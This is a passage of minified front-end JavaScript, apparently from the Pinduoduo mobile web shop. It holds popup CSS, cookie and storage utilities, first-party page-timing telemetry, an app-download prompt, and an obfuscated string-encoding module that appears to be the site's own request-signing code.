center;\n -webkit-justify-content: center;\n -webkit-box-align: end;\n align-items: flex-end;\n -webkit-align-items: flex-end;\n -webkit-box-orient: horizontal;\n -webkit-box-direction: normal;\n flex-direction: row;\n -webkit-flex-direction: row;\n}\n\n.modal-popup .modal-popup-content.content-top {\n display: -webkit-box;\n display: flex;\n display: -webkit-flex;\n -webkit-box-pack: center;\n justify-content: center;\n -webkit-justify-content: center;\n -webkit-box-align: start;\n align-items: flex-start;\n -webkit-align-items: flex-start;\n -webkit-box-orient: horizontal;\n -webkit-box-direction: normal;\n flex-direction: row;\n -webkit-flex-direction: row;\n}\n\n.modal-popup .modal-popup-content.content-bottom {\n bottom: 0;\n display: -webkit-box;\n display: flex;\n display: -webkit-flex;\n -webkit-box-pack: center;\n justify-content: center;\n -webkit-justify-content: center;\n -webkit-box-align: end;\n align-items: flex-end;\n -webkit-align-items: flex-end;\n -webkit-box-orient: horizontal;\n -webkit-box-direction: normal;\n flex-direction: row;\n -webkit-flex-direction: row;\n}"", """"]) + }, + ZNKI: function(e, t, n) {}, + ZVxM: function(e, t, n) { + ""use strict""; + + function r() { + var e = { + 1: 1, + 2: .5, + 4: .25, + 5: .2, + 10: .1 + }, + t = 1, + n = 1; + if (window.__CMT_AMPLIFY_RATE__) { + var r = window.__CMT_AMPLIFY_RATE__; + e[r] ? (t = +r, + n = e[r]) : console.warn(""cmt放大倍数${rate}不合法支持1,2,4,5,10"") + } + return { + amplifyRate: t, + sampleRate: n + } + } + + function a(e) { + return ""https://cmta.yangkeduo.com"".concat(e) + } + + function i() { + return (arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : """").split(""."").reverse().reduce(function(e, t, n) { + return +e + t * Math.pow(100, n) + }) + } + n.d(t, ""b"", function() { + return r + }), + n.d(t, ""c"", function() { + return a + }), + n.d(t, ""a"", function() { + return i + }) + }, + b5fu: function(e, t, n) { + ""use strict""; + var r = n(""EJiy""), + a = n.n(r), + i = n(""3OdE"").a.constant, + o = i.ShareChannel, + s = { + call: function(e) { + if (e) { + for (var t = [], n = 1; n < arguments.length; ++n) + t.push(arguments[n]); + e.apply(this, t) + } + }, + format: function(e) { + for (var t = [], n = 1; n < arguments.length; ++n) + t.push(arguments[n]); + return e.replace(/{(\d+)}/g, function(e, n) { + return 0 === t[n] ? 0 : t[n] || """" + }) + }, + removeArrayItem: function(e, t) { + if (this.isArray(t)) + for (var n = 0; n < t.length; n++) { + var r = e.indexOf(t[n]); + r >= 0 && e.splice(r, 1) + } else { + var a = e.indexOf(t); + a >= 0 && e.splice(a, 1) + } + return e + }, + isArray: function(e) { + return ""[object Array]"" === Object.prototype.toString.call(e) + }, + saveToLocalStorage: function(e, t) { + null != e && ""undefined"" != typeof localStorage && (null == t ? localStorage.removeItem(e) : localStorage.setItem(e, t)) + }, + saveToSessionStorage: function(e, t) { + null != e && ""undefined"" != typeof sessionStorage && (null == t ? sessionStorage.removeItem(e) : sessionStorage.setItem(e, t)) + }, + loadFromSessionStorage: function(e) { + if (null != e && ""undefined"" != typeof sessionStorage) + return sessionStorage.getItem(e) + }, + httpsSafe: function(e) { + if (!e) + return e; + var t = !1; + return t = !(location || {}).href.match(/^https?:/), + e.replace(/^https?:\/\//, t ? ""http://"" : ""//"") + }, + getCookies: function() { + for (var e = (document.cookie || """").split(""; ""), t = {}, n = 0; n < e.length; n++) { + var r = e[n].indexOf(""=""), + a = e[n].substring(0, r), + i = e[n].substring(r + 1); + t[a] || (t[a] = []), + t[a].push(i) + } + return t + }, + getCookieByName: function(e) { + var t = """", + n = this.getCookies(); + for (var r in n) + if (r == e) { + t = n[r][0]; + break + } + return t + }, + setCookie: function(e) { + var t = this.getCookies(); + for (var n in e) { + var r = e[n], + i = n + ""="", + o = new Date; + if (r) { + var s = 864e7, + c = ""/""; + ""object"" === (void 0 === r ? ""undefined"" : a()(r)) && (s = r.msec || s, + c = r.path || c, + r = r.value), + o.setTime(o.getTime() + s), + i += r + ""; path="" + c + ""; expires="" + o.toGMTString(), + document.cookie = i + } else { + o.setTime(o.getTime() - 1); + var u = ""; path=/; expires="" + o.toGMTString(); + if (t[n]) + for (var l = 0; l < t[n].length; l++) + document.cookie = i + t[n][l] + u; + else + document.cookie = i + u + } + } + }, + deleteCookie: function(e) { + ""undefined"" != typeof window && (document.cookie = e + ""=; Max-Age=-99999999;"") + }, + isAscii: function(e) { + if (!e) + return !1; + for (var t = !0, n = 0; n < e.length; n++) + e.charCodeAt(n) > 127 && (t = !1); + return t + }, + clearInvaildCookie: function() { + var e = this; + if (""undefined"" != typeof window) { + var t = []; + document.cookie.split("";"").forEach(function(n) { + var r = n.split(""=""); + e.isAscii(n) || t.push(r[0]) + }), + t.forEach(function(t) { + e.deleteCookie(t.trim()) + }) + } + }, + getRandomString: function(e) { + e = e || 32; + for (var t = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"", n = t.length, r = """", a = 0; a < e; a++) + r += t.charAt(Math.floor(Math.random() * n)); + return r + }, + getRandomInteger: function(e) { + var t = 0, + n = 0; + if (""number"" == typeof e) { + if (e < 1) + return 0; + t = Math.pow(10, e - 1), + n = Math.pow(10, e) - 1 + } else + t = (e = e || {}).min || 0, + n = e.max || 0; + return Math.floor(Math.random() * (n - t + 1) + t) + }, + getUIDback_: function(e) { + var t = ""0123456789abcdefghijklmnopqrstuvwxyz"", + n = t.length, + r = 0, + a = 1; + if ((e = e || """").length > 0) + for (var i = e.length - 1; i >= 0; i--) + r += t.indexOf(e[i]) * a, + a *= n; + return r + }, + getSelfUID: function() { + if (""undefined"" != typeof localStorage) { + var e = localStorage.getItem(i.LocalStorageKey.UID); + return (e || """").toString().match(/[0-9]{10}/) ? (localStorage.setItem(i.LocalStorageKey.UID, parseInt(e, 10).toString(36)), + e) : this.getUIDback_(e) + } + }, + getValueFromUserAgent: function(e) { + var t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : """"; + t || ""undefined"" == typeof navigator || (t = navigator.userAgent); + var n = (t = t.toLowerCase()).indexOf(e); + if (n < 0) + return null; + var r = t.indexOf("" "", n); + return r < 0 && (r = t.length), + t.substring(n + e.length, r) + }, + pick: function(e) { + var t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : []; + return e = e || {}, + t.reduce(function(t, n) { + var r = e[n]; + return void 0 !== r && (t[n] = r), + t + }, {}) + }, + isEmptyObject: function(e) { + return 0 === Object.keys(e).length + }, + getAvatarURL: function(e, t, n) { + return e = this.httpsSafe(e || """"), + n = n || 100, + 0 === e.length ? this.httpsSafe(t) : e.indexOf(""avatar.yangkeduo.com"") >= 0 ? [e.split(""?"")[0], ""x-oss-process=image/resize,w_"" + n].join(""?"") : ""/0"" === e.substr(-2, 2) ? e.substring(0, e.length - 1) + ""132"" : e + }, + extend: function() { + for (var e = {}, t = 0; t < arguments.length; t++) + if (""object"" === a()(arguments[t])) + for (var n in arguments[t]) + null != n && arguments[t].hasOwnProperty(n) && (e[n] = arguments[t][n]); + return e + }, + merge: function(e, t) { + if (""undefined"" == e || null == e || ""undefined"" == t || null == t) + return t; + for (var n in e) + this.isArray(e[n]) ? t[n] = e[n].concat() : ""object"" === a()(e[n]) ? (""undefined"" != t[n] && null != t[n] || (t[n] = {}), + this.merge(e[n], t[n])) : ""function"" == typeof e[n] || (t[n] = e[n]); + return t + }, + bindShareCallback: function(e, t, n, r, a, i) { + var s = e || {}, + c = function(e) { + t ? t(e) : n && n(e) + }, + u = function(e) { + t ? t(e) : r && r(e) + }, + l = a || {}, + p = { + appMessageShareSuccess: o.AppMessage, + timelineShareSuccess: o.Timeline, + qqShareSuccess: o.QQ, + qqZoneShareSuccess: o.QQZone, + qqWeiboShareSuccess: o.QQWeibo, + sinaWeiboShareSuccess: o.SinaWeibo + }, + d = { + appMessageShareCancel: o.AppMessage, + timelineShareCancel: o.Timeline, + qqShareCancel: o.QQ, + qqZoneShareCancel: o.QQZone, + qqWeiboShareCancel: o.QQWeibo, + sinaWeiboShareCancel: o.SinaWeibo + }; + if (t || n) + for (var h in p) + s[h] = function(e) { + return function() { + c(l[e] || p[e]) + } + }(h); + if (t || r) + for (var f in d) + s[f] = function(e) { + return function() { + u(l[e] || d[e]) + } + }(f); + if (i) + for (var m in i) + s[m] = i[m]; + return s + }, + joinObjKeyAndValue: function(e, t, n) { + if (!e || !t || !n) + return null; + var r = []; + for (var a in e) + ""string"" != typeof e[a] && ""number"" != typeof e[a] || r.push(a.toString() + t + e[a]); + return r.join(n) + }, + isFunc: function(e) { + return ""function"" == typeof e + }, + isFunction: function(e) { + return this.isFunc(e) + }, + getStringCharLength: function(e) { + for (var t = 0, n = 0; n < e.length; n++) + e.charCodeAt(n) < 0 || e.charCodeAt(n) > 255 ? t += 2 : t += 1; + return t + }, + utfStrTruncation: function(e, t, n) { + if (n = n || ""..."", + this.getStringCharLength(e) <= t) + return e; + for (var r = e, a = 0, i = 0; a < e.length; a++) + if (e.charCodeAt(a) < 0 || e.charCodeAt(a) > 255 ? i += 2 : i += 1, + i > t) { + r = e.slice(0, a) + n; + break + } + return r + }, + compareVersion: function(e, t) { + for (var n = function(e) { + var t = []; + return null == e || e.length <= 0 ? t : (e.split(""."").forEach(function(e) { + t.push(parseInt(e)) + }), + t) + }, r = n(e), a = n(t), i = Math.max(r.length, a.length), o = 0; o < i; ++o) { + var s = parseInt(r[o] || ""0""), + c = parseInt(a[o] || ""0""); + if (s != c) + return s - c + } + return 0 + }, + getWechatVersion: function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : """"; + e || ""undefined"" == typeof navigator || (e = navigator.userAgent); + var t = this.getValueFromUserAgent(""micromessenger/"", e); + return null === t && (t = """"), + t + }, + animate: function(e, t, n, r) { + var a = this, + i = 0; + e.length || (e = [e]); + for (var o = function(e, t, n, r, a, i, o) { + if (""undefined"" != typeof window) { + var s = n.x, + c = n.y, + u = r.x, + l = r.y, + p = Date.now(), + d = p + a; + o = o || function(e) { + return e * (2 - e) + }; + var h = window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || window.oRequestAnimationFrame || window.msRequestAnimationFrame || function(e) { + window.setTimeout(e, 1e3 / 60) + }, + f = function(n, r) { + t.call(e, n, r) + }; + ! function e() { + var t = Date.now(); + if (t >= d) + return f(u, l), + void i(); + var n = o(t = (t - p) / a); + f((u - s) * n + s, (l - c) * n + c), + h(e) + }() + } + }, s = function() { + ++i >= e.length && a.call(r) + }, c = 0; c < e.length; ++c) + o(e[c], t.transFunc, t.start, t.dest, n, s, t.easingFn) + }, + getCompleteLotteryHostname: function(e) { + return [""m.hutaojie.com"", ""panduoduo.yangkeduo.com""].indexOf(e) >= 0 ? e : i.CompleteLotteryHostname + } + }; + t.a = s + }, + b9VB: function(e, t, n) { + ""use strict""; + (function(e) { + var r = n(""lwsE""), + a = n.n(r), + i = n(""W8MJ""), + o = n.n(i), + s = n(""fkZF""), + c = n(""xJ31""), + u = n(""0P1e""), + l = n(""KoDT""), + p = n(""h3qu""), + d = n(""MpJ2""), + h = Object(l.a)(), + f = { + unknown: 0, + ios: 1, + android: 2, + wechat: 3, + weibo: 4, + qq: 5 + }, + m = function() { + function t() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; + a()(this, t); + var n = Date.now(), + r = Object(s.a)(6); + this.data = { + v: 1, + t: n, + r: r, + c: Object(c.a)(n + ""-"" + r), + d: { + t: Date.now(), + pn: e.pn || this.getPageName(), + n: 0, + pl: f[h.platform] || 0, + rts: this.getRts(), + e: {} + } + } + } + return o()(t, [{ + key: ""getPageName"", + value: function() { + return window.location.origin + window.location.pathname + } + }, { + key: ""getRts"", + value: function() { + var e = window.performance; + if (!e || !e.timing) + return []; + var t = e.timing; + return [t.navigationStart, t.redirectStart, t.redirectEnd, t.fetchStart, t.domainLookupStart, t.domainLookupEnd, t.connectStart, t.secureConnectionStart, t.connectEnd, t.requestStart, t.responseStart, t.unloadEventStart, t.unloadEventEnd, t.responseEnd, t.domLoading, t.domInteractive, t.domContentLoadedEventStart, t.domContentLoadedEventEnd, t.domComplete, t.loadEventStart, t.loadEventEnd] + } + }, { + key: ""send"", + value: function() { + var t = this; + Object(u.a)().then(function(n) { + t.data.d.n = n; + var r = { + method: ""POST"", + body: JSON.stringify(t.data), + data: JSON.stringify(t.data), + headers: { + ""Content-Type"": ""application/json;charset=UTF-8"" + }, + credentials: ""include"" + }, + a = ""https://cmta.yangkeduo.com/api/page""; + h.isNativePlatform ? (Object.assign(r, { + url: a + }), + Object(d.c)(""JSNetwork"", ""request"", r).catch(function(e) { + if (h.platform === p.a.PddAndroid && Object(p.c)(h.version, ""4.78.0"") >= 0) + throw e + })) : e(a, r).catch(function(e) { + throw new Error(""cmt report error "" + JSON.stringify(e.message ? e.message : null)) + }) + }) + } + }]), + t + }(); + t.a = m + }).call(this, n(""BlQd"")) + }, + c5EO: function(e, t, n) { + ""use strict""; + n.r(t); + var r = n(""lwsE""), + a = n.n(r), + i = n(""W8MJ""), + o = n.n(i), + s = n(""a1gu""), + c = n.n(s), + u = n(""Nsbk""), + l = n.n(u), + p = n(""7W2i""), + d = n.n(p), + h = n(""q1tI""), + f = n.n(h), + m = n(""+zrp""), + g = n(""u16y""), + v = n(""tWR7""), + _ = n(""ii9O""), + b = function(e) { + function t(e) { + return a()(this, t), + c()(this, l()(t).call(this, e)) + } + return d()(t, e), + o()(t, [{ + key: ""gotoApp"", + value: function() { + var e = { + src: ""weixin"", + campaign: ""gzh"", + cid: ""grzx"" + }; + v.a.buildQuery(e), + v.a.buildQuery(e); + _.a.forward(""download.html?"" + v.a.buildQuery(e)) + } + }, { + key: ""render"", + value: function() { + var e = this, + t = this.props, + n = []; + return t.desc && t.desc.forEach(function(e, t) { + n.push(f.a.createElement(""li"", { + key: t, + dangerouslySetInnerHTML: { + __html: e + } + })) + }), + f.a.createElement(""div"", { + style: { + display: this.state.display + } + }, f.a.createElement(""div"", { + className: ""bg-fill"" + }), f.a.createElement(""div"", { + className: ""alert-app-download-head"" + }, f.a.createElement(""img"", { + id: ""alert-app-download-img"", + src: t.img + }), f.a.createElement(""div"", { + id: ""alert-app-download"" + }, f.a.createElement(""div"", { + className: ""alert-goto-app-text"" + }, f.a.createElement(""div"", { + className: ""alert-goto-app-desc"" + }, ""前往拼多多App,领888元新人红包""), f.a.createElement(""div"", { + className: ""alert-goto-app-tips"" + }, ""App内确认收货还有红包可领取哦"")), f.a.createElement(""div"", { + className: ""alert-goto-app-btnContainer"" + }, f.a.createElement(""div"", { + className: ""alert-goto-app-cancel"", + onClick: function(t) { + return e.clickHide() + } + }, ""收起""), f.a.createElement(""div"", { + className: ""alert-goto-app-confirm"", + onClick: this.gotoApp + }, ""前往App""))))) + } + }]), + t + }(m.a); + b.defaultProps = { + desc: [""下载 APP"", '立即领取 888 元新人红包'], + confirm: ""立即前往"", + checkbox: ""不再提示"", + closeButton: g.a.getCDNImgURL(""jsalert/alert_app_download_close_v2.png""), + img: g.a.getCDNImgURL(""base/alert_go_to_app.png""), + clickBgDisabled: !0 + }, + t.default = b + }, + ctu6: function(e, t, n) { + ""use strict""; + (function(e) { + var r = n(""Fcpp""), + a = n(""eBA5""), + i = n(""iZ5V""), + o = n(""4x4s""); + t.a = function(t) { + var n = t.downloadParams, + s = void 0 === n ? {} : n, + c = """".concat(Object(a.a)()).concat(Object(i.a)(), ""?"").concat(Object(o.a)(s)); + return e(c).then(function() { + r.a.trackingRecord({ + op: ""error"", + sub_op: ""p_pre"", + error_message: ""onload_success"" + }) + }).catch(function(e) { + r.a.trackingRecord({ + op: ""error"", + sub_op: ""p_pre"", + error_message: ""onerror"", + error_detail: JSON.stringify(e) + }) + }) + } + }).call(this, n(""BlQd"")) + }, + ""cz+l"": function(e, t, n) { + var r = n(""IsSU""); + ""string"" == typeof r && (r = [ + [e.i, r, """"] + ]); + var a = { + transform: void 0 + }; + n(""aET+"")(r, a); + r.locals && (e.exports = r.locals) + }, + dDoh: function(e, t, n) { + ""use strict""; + var r = ""__$leo_keys"", + a = n(""F19C""), + i = n(""+aNZ""), + o = n(""ouH+""); + + function s(e) { + return function(t) { + if (t[r]) + throw new Error("""".concat(t.name, "" duplicate declare"")); + if (!Array.isArray(e)) + throw new Error(""needs an array for its 1st param""); + return t[r] = e || [], + function(e) { + e = e || [], + window.leo = window.leo || {}, + window.leo.data = window.leo.data || {}, + window.leo.csrFallback && window.leo.fallbackData && e.length && e.map(function(e) { + var t = window.leo.fallbackData[e.leoKey]; + if (t) { + var n = Object(i.b)(e); + try { + window.leo.data[e.leoKey] = n(t, { + identity: { + uid: parseInt(o.a.userID, 10) || 0 + } + }) + } catch (e) { + Object(a.b)(null, ""csrFormatLeoFailed"", e) + } + } else + Object(a.b)(null, ""csrLeoFallbackDataNotFound"") + }) + }(e), + t + } + } + + function c(e, t) { + var n; + t = t || {}; + try { + n = window.leo.data[e] + } catch (n) { + Object(a.b)(t.__req, ""BusinessOrFrameworkError_"".concat(e), n) + } + return void 0 === n && Object(a.b)(t.__req, ""leoDataNotFoundForKey_"".concat(e)), + n + } + n.d(t, ""b"", function() { + return s + }), + n.d(t, ""a"", function() { + return c + }) + }, + eBA5: function(e, t, n) { + ""use strict""; + t.a = function() { + return location && ""m.hutaojie.com"" === location.hostname ? ""https://at.hutaojie.com"" : ""https://at.pinduoduo.com"" + } + }, + fbeZ: function(e, t, n) { + ""undefined"" != typeof self && self, + e.exports = function(e) { + var t = {}; + + function n(r) { + if (t[r]) + return t[r].exports; + var a = t[r] = { + i: r, + l: !1, + exports: {} + }; + return e[r].call(a.exports, a, a.exports, n), + a.l = !0, + a.exports + } + return n.m = e, + n.c = t, + n.d = function(e, t, r) { + n.o(e, t) || Object.defineProperty(e, t, { + enumerable: !0, + get: r + }) + }, + n.r = function(e) { + ""undefined"" != typeof Symbol && Symbol.toStringTag && Object.defineProperty(e, Symbol.toStringTag, { + value: ""Module"" + }), + Object.defineProperty(e, ""__esModule"", { + value: !0 + }) + }, + n.t = function(e, t) { + if (1 & t && (e = n(e)), + 8 & t) + return e; + if (4 & t && ""object"" == typeof e && e && e.__esModule) + return e; + var r = Object.create(null); + if (n.r(r), + Object.defineProperty(r, ""default"", { + enumerable: !0, + value: e + }), + 2 & t && ""string"" != typeof e) + for (var a in e) + n.d(r, a, function(t) { + return e[t] + } + .bind(null, a)); + return r + }, + n.n = function(e) { + var t = e && e.__esModule ? function() { + return e.default + } : function() { + return e + }; + return n.d(t, ""a"", t), + t + }, + n.o = function(e, t) { + return Object.prototype.hasOwnProperty.call(e, t) + }, + n.p = """", + n(n.s = 6) + }([ + function(e, t) { + e.exports = function(e) { + return e.webpackPolyfill || (e.deprecate = function() {}, + e.paths = [], + e.children || (e.children = []), + Object.defineProperty(e, ""loaded"", { + enumerable: !0, + get: function() { + return e.l + } + }), + Object.defineProperty(e, ""id"", { + enumerable: !0, + get: function() { + return e.i + } + }), + e.webpackPolyfill = 1), + e + } + }, + function(e, t, n) { + ""use strict""; + var r = ""function"" == typeof Symbol && ""symbol"" == typeof Symbol.iterator ? function(e) { + return typeof e + } : function(e) { + return e && ""function"" == typeof Symbol && e.constructor === Symbol && e !== Symbol.prototype ? ""symbol"" : typeof e + }, + a = ""undefined"" != typeof Uint8Array && ""undefined"" != typeof Uint16Array && ""undefined"" != typeof Int32Array; + + function i(e, t) { + return Object.prototype.hasOwnProperty.call(e, t) + } + t.assign = function(e) { + for (var t = Array.prototype.slice.call(arguments, 1); t.length;) { + var n = t.shift(); + if (n) { + if (""object"" !== (void 0 === n ? ""undefined"" : r(n))) + throw new TypeError(n + ""must be non-object""); + for (var a in n) + i(n, a) && (e[a] = n[a]) + } + } + return e + }, + t.shrinkBuf = function(e, t) { + return e.length === t ? e : e.subarray ? e.subarray(0, t) : (e.length = t, + e) + }; + var o = { + arraySet: function(e, t, n, r, a) { + if (t.subarray && e.subarray) + e.set(t.subarray(n, n + r), a); + else + for (var i = 0; i < r; i++) + e[a + i] = t[n + i] + }, + flattenChunks: function(e) { + var t, n, r, a, i, o; + for (r = 0, + t = 0, + n = e.length; t < n; t++) + r += e[t].length; + for (o = new Uint8Array(r), + a = 0, + t = 0, + n = e.length; t < n; t++) + i = e[t], + o.set(i, a), + a += i.length; + return o + } + }, + s = { + arraySet: function(e, t, n, r, a) { + for (var i = 0; i < r; i++) + e[a + i] = t[n + i] + }, + flattenChunks: function(e) { + return [].concat.apply([], e) + } + }; + t.setTyped = function(e) { + e ? (t.Buf8 = Uint8Array, + t.Buf16 = Uint16Array, + t.Buf32 = Int32Array, + t.assign(t, o)) : (t.Buf8 = Array, + t.Buf16 = Array, + t.Buf32 = Array, + t.assign(t, s)) + }, + t.setTyped(a) + }, + function(e, t, n) { + (function(e) { + var t, r, a = ""function"" == typeof Symbol && ""symbol"" == typeof Symbol.iterator ? function(e) { + return typeof e + } : function(e) { + return e && ""function"" == typeof Symbol && e.constructor === Symbol && e !== Symbol.prototype ? ""symbol"" : typeof e + }, + i = n(17), + o = [""UcOPwpvCvHnDo8KyEWnCkA=="", ""w6JWw5QWCG0="", ""w7zDvcKgwozCqyU="", ""w4UxGDQ="", ""YgZfw4MPacKPcSLCtj5Pw7bClFjDp8Kow6BVHcKILWHCs1cXwoHCt8Oiw4FUG8O2wqgQwpk4ARvClU3CiVw3w61rwqMQw4TDtkpxw57DusKheiUeS8KRwo7DpH4M"", ""HMOYwp0Pwrw="", ""F8Otw43CvMKDCsOr"", ""w75pHcO3w5U3wqTDqn4="", ""wrpdw5UefmA="", ""w61bw5sDP2rCqXY="", ""D3zDrg=="", ""Gy3Dk1QDckw2woIlEMKHwphc"", ""wpnDjcOUJywt"", ""w6gIw7tWIsKI"", ""AcK4FA=="", ""wofDi0g="", ""XB9HwqUiSQ=="", ""w5/CiB3CvTTDtHw8PMKNYhTCkMOPw4NFTMKNVQ=="", ""BsORGG5HXW/Co8KJw6g+wrABe8KrHxlGKg=="", ""w53DtMKpeDB3HDTCpMONwo8/JcOjwqrCkcOsM8OPwqYxw77Di1kVw5RdwpNDbR3CoMOUV8KTD3vCkGvCncOgwrfCuk4CUcKOw78Hfnh+KsOGw7HDhcKQFcKLw5JlwpAJdw=="", ""RCXDkcKjDsKUw54="", ""UjHDiMKvGQ=="", ""cmfCnW/CjmpF"", ""RcOndyltw47CjA4="", ""MCPDg00DWFZi"", ""wqtJw4QIPCYwLcKP""]; + t = o, + r = 307, + function(e) { + for (; --e;) + t.push(t.shift()) + }(++r); + var s = function e(t, n) { + var r = o[t -= 0]; + void 0 === e.IFywfX && (function() { + var e; + try { + e = Function('return (function() {}.constructor(""return this"")( ));')() + } catch (t) { + e = window + } + e.atob || (e.atob = function(e) { + for (var t, n, r = String(e).replace(/=+$/, """"), a = 0, i = 0, o = """"; n = r.charAt(i++); ~n && (t = a % 4 ? 64 * t + n : n, + a++ % 4) ? o += String.fromCharCode(255 & t >> (-2 * a & 6)) : 0) + n = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="".indexOf(n); + return o + }) + }(), + e.JcVLUu = function(e, t) { + for (var n, r = [], a = 0, i = """", o = """", s = 0, c = (e = atob(e)).length; s < c; s++) + o += ""%"" + (""00"" + e.charCodeAt(s).toString(16)).slice(-2); + e = decodeURIComponent(o); + for (var u = 0; u < 256; u++) + r[u] = u; + for (u = 0; u < 256; u++) + a = (a + r[u] + t.charCodeAt(u % t.length)) % 256, + n = r[u], + r[u] = r[a], + r[a] = n; + u = 0, + a = 0; + for (var l = 0; l < e.length; l++) + a = (a + r[u = (u + 1) % 256]) % 256, + n = r[u], + r[u] = r[a], + r[a] = n, + i += String.fromCharCode(e.charCodeAt(l) ^ r[(r[u] + r[a]) % 256]); + return i + }, + e.mDQNUS = {}, + e.IFywfX = !0); + var a = e.mDQNUS[t]; + return void 0 === a ? (void 0 === e.SyaMFL && (e.SyaMFL = !0), + r = e.JcVLUu(r, n), + e.mDQNUS[t] = r) : r = a, + r + }, + c = s(""0x0"", ""HoR)""), + u = s(""0x1"", ""AqWN""), + l = s(""0x2"", ""L4vs""), + p = s(""0x3"", ""KM7]""), + d = s(""0x4"", ""kG7P""), + h = s(""0x5"", ""imL7""), + f = s(""0x6"", ""Enm!""), + m = s(""0x7"", ""n^C2""), + g = s(""0x8"", ""IgrY""), + v = s(""0x9"", ""Z0*H"")[s(""0xa"", ""TS9("")](""""), + _ = {}; + + function b(e) { + return e[s(""0xb"", ""3KcS"")](/[+\/=]/g, function(e) { + return _[e] + }) + } + _[""+""] = ""-"", + _[""/""] = ""_"", + _[""=""] = """"; + var y = void 0; + (""undefined"" == typeof window ? ""undefined"" : a(window)) !== s(""0xc"", ""mfu8"") && (y = window); + var w = {}; + w[s(""0xd"", ""kG7P"")] = function(e) { + for (var t = function(e, t) { + return e < t + }, n = function(e, t) { + return e + t + }, r = function(e, t) { + return e + t + }, a = function(e, t) { + return e >>> t + }, i = function(e, t) { + return e & t + }, o = function(e, t) { + return e | t + }, s = function(e, t) { + return e << t + }, c = function(e, t) { + return e >>> t + }, u = function(e, t) { + return e & t + }, l = function(e, t) { + return e === t + }, d = function(e, t) { + return e + t + }, h = function(e, t) { + return e >>> t + }, m = function(e, t) { + return e & t + }, g = function(e, t) { + return e << t + }, _ = void 0, w = void 0, S = void 0, C = """", A = e[f], I = 0, k = function(e, t) { + return e * t + }(y[p](function(e, t) { + return e / t + }(A, 3)), 3); t(I, k);) + _ = e[I++], + w = e[I++], + S = e[I++], + C += n(r(r(v[a(_, 2)], v[i(o(s(_, 4), a(w, 4)), 63)]), v[i(o(s(w, 2), c(S, 6)), 63)]), v[u(S, 63)]); + var E = function(e, t) { + return e - t + }(A, k); + return l(E, 1) ? (_ = e[I], + C += d(d(v[h(_, 2)], v[m(s(_, 4), 63)]), ""=="")) : l(E, 2) && (_ = e[I++], + w = e[I], + C += d(d(function(e, t) { + return e + t + }(v[h(_, 2)], v[m(function(e, t) { + return e | t + }(g(_, 4), h(w, 4)), 63)]), v[m(g(w, 2), 63)]), ""="")), + function(e, t) { + return e(t) + }(b, C) + }, + w[s(""0xe"", ""Enm!"")] = function(e) { + for (var t = function(e, t) { + return e < t + }, n = function(e, t) { + return e >= t + }, r = function(e, t) { + return e <= t + }, a = function(e, t) { + return e | t + }, i = function(e, t) { + return e & t + }, o = function(e, t) { + return e >> t + }, s = function(e, t) { + return e <= t + }, c = function(e, t) { + return e >= t + }, u = function(e, t) { + return e <= t + }, l = function(e, t) { + return e >> t + }, p = function(e, t) { + return e | t + }, d = function(e, t) { + return e & t + }, v = [], _ = 0, b = 0; t(b, e[f]); b += 1) { + var y = e[h](b); + n(y, 0) && r(y, 127) ? (v[g](y), + _ += 1) : r(128, 80) && r(y, 2047) ? (_ += 2, + v[g](a(192, i(31, o(y, 6)))), + v[g](a(128, i(63, y)))) : (n(y, 2048) && s(y, 55295) || c(y, 57344) && u(y, 65535)) && (_ += 3, + v[g](a(224, i(15, l(y, 12)))), + v[g](p(128, i(63, l(y, 6)))), + v[g](p(128, d(63, y)))) + } + for (var w = 0; t(w, v[f]); w += 1) + v[w] &= 255; + return u(_, 255) ? [0, _][m](v) : [l(_, 8), d(_, 255)][m](v) + }, + w.es = function(e) { + e || (e = """"); + var t = e[d](0, 255), + n = [], + r = w.charCode(t)[c](2); + return n[g](r[f]), + n = n[m](r) + }, + w.en = function(e) { + var t = function(e, t) { + return e !== t + }, + n = function(e, t) { + return e % t + }, + r = function(e, t) { + return e < t + }, + a = function(e, t) { + return e * t + }, + i = function(e, t) { + return e * t + }, + o = function(e, t) { + return e + t + }; + e || (e = 0); + var s = y[p](e), + c = []; + ! function(e, t) { + return e > t + }(s, 0) ? c[g](1): c[g](0); + for (var h = Math.abs(s)[l](2).split(""""), m = 0; t(n(h[f], 8), 0); m += 1) + h[u](""0""); + h = h.join(""""); + for (var v = Math.ceil(function(e, t) { + return e / t + }(h[f], 8)), _ = 0; r(_, v); _ += 1) { + var b = h[d](a(_, 8), i(o(_, 1), 8)); + c[g](y[p](b, 2)) + } + var w = c[f]; + return c[u](w), + c + }, + w.sc = function(e) { + e || (e = """"); + var t = e[f] > 255 ? e[d](0, 255) : e; + return w.charCode(t)[c](2) + }, + w.nc = function(e) { + var t = function(e, t) { + return e * t + }, + n = function(e, t) { + return e < t + }, + r = function(e, t) { + return e * t + }, + a = function(e, t) { + return e + t + }; + e || (e = 0); + var o = Math.abs(y[p](e))[l](2), + s = Math.ceil(function(e, t) { + return e / t + }(o[f], 8)); + o = function(e, t, n, r) { + return e(t, n, r) + }(i, o, t(s, 8), ""0""); + for (var c = [], u = 0; n(u, s); u += 1) { + var h = o[d](t(u, 8), r(a(u, 1), 8)); + c[g](y[p](h, 2)) + } + return c + }, + w.va = function(e) { + var t = function(e, t) { + return e >= t + }, + n = function(e, t) { + return e - t + }, + r = function(e, t) { + return e === t + }, + a = function(e, t) { + return e & t + }, + o = function(e, t) { + return e + t + }, + c = function(e, t) { + return e >>> t + }, + u = s(""0xf"", ""34bL""); + e || (e = 0); + for (var h = Math.abs(y[p](e)), m = h[l](2), v = [], _ = (m = function(e, t, n, r) { + return e(t, n, r) + }(i, m, function(e, t) { + return e * t + }(Math.ceil(function(e, t) { + return e / t + }(m[f], 7)), 7), ""0""))[f]; t(_, 0); _ -= 7) { + var b = m[d](n(_, 7), _); + if (r(a(h, -128), 0)) { + v[g](o(""0"", b)); + break + } + v[g](o(""1"", b)), + h = c(h, 7) + } + return v[u](function(e) { + return y[p](e, 2) + }) + }, + w.ek = function(e) { + var t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : """", + n = { + YCslw: 